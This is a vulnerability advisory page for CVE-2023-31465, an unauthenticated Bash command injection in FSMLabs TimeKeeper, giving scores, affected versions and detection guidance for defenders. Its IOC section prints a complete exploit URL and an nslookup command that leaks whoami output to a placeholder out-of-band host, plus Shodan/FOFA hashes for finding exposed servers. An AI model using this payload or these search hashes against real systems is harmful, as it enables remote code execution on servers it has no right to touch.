cbcvebase.
CVE-2023-31465
published 2023-07-26

CVE-2023-31465: An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the…

PriorityP186critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
44.45%
98.6th percentile
An issue was discovered in FSMLabs TimeKeeper 8.0.17 through 8.0.28. By intercepting requests from various timekeeper streams, it is possible to find the getsamplebacklog call. Some query parameters are passed directly in the URL and named arg[x], with x an integer starting from 1; it is possible to modify arg[2] to insert Bash code that will be executed directly by the server.

Affected

1 ranges
VendorProductVersion rangeFixed in
fsmlabstimekeeper8.0.17 – 8.0.28

Detection & IOCsextracted from sources · hover to see the quote

url/getsamplebacklog?arg1=2d0ows2x9anpzaorxi9h4csmai08jjor&arg2=%7b%22type%22%3a%22client%22%2c%22earliest%22%3a%221676976316.328%7c%7cnslookup%20%24(xxd%20-pu%20%3c%3c%3c%20%24(whoami)).{{interactsh-url}}%7c%7cx%22%2c%22latest%22%3a1676976916.328%2c%22origins%22%3a%5b%7b%22ip%22%3a%22{{Hostname}}%22%2c%22source%22%3a0%7d%5d%2c%22seriesID%22%3a3%7d&arg3=undefined&arg4=undefined&arg5=undefined&arg6=undefined&arg7=undefined
commandnslookup $(xxd -pu <<< $(whoami)).{{interactsh-url}}
othershodan:http.favicon.hash:2134367771
otherfofa:icon_hash=2134367771
  • Detect exploitation attempts by monitoring HTTP GET requests to the /getsamplebacklog endpoint with shell metacharacters (e.g., ||, $(), <<< ) in the arg[2] query parameter.
  • Confirm successful RCE response by checking for the JSON key '{"seriesID":' in the HTTP response body alongside an out-of-band DNS interaction.
  • Use the Shodan favicon hash 2134367771 or FOFA icon_hash=2134367771 to identify exposed FSMLabs TimeKeeper instances for proactive scanning.
  • Monitor for out-of-band DNS callbacks (OAST/interactsh) triggered by the injected nslookup payload, which encodes whoami output via xxd in the subdomain.
  • ·The vulnerability affects only FSMLabs TimeKeeper versions 8.0.17 through 8.0.28; detections should be scoped to this version range to reduce false positives.
  • ·The exploit is unauthenticated (PR:N) and network-reachable (AV:N), meaning any internet-exposed TimeKeeper instance is at risk without any prior authentication requirement.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vulncheck9.8CRITICAL
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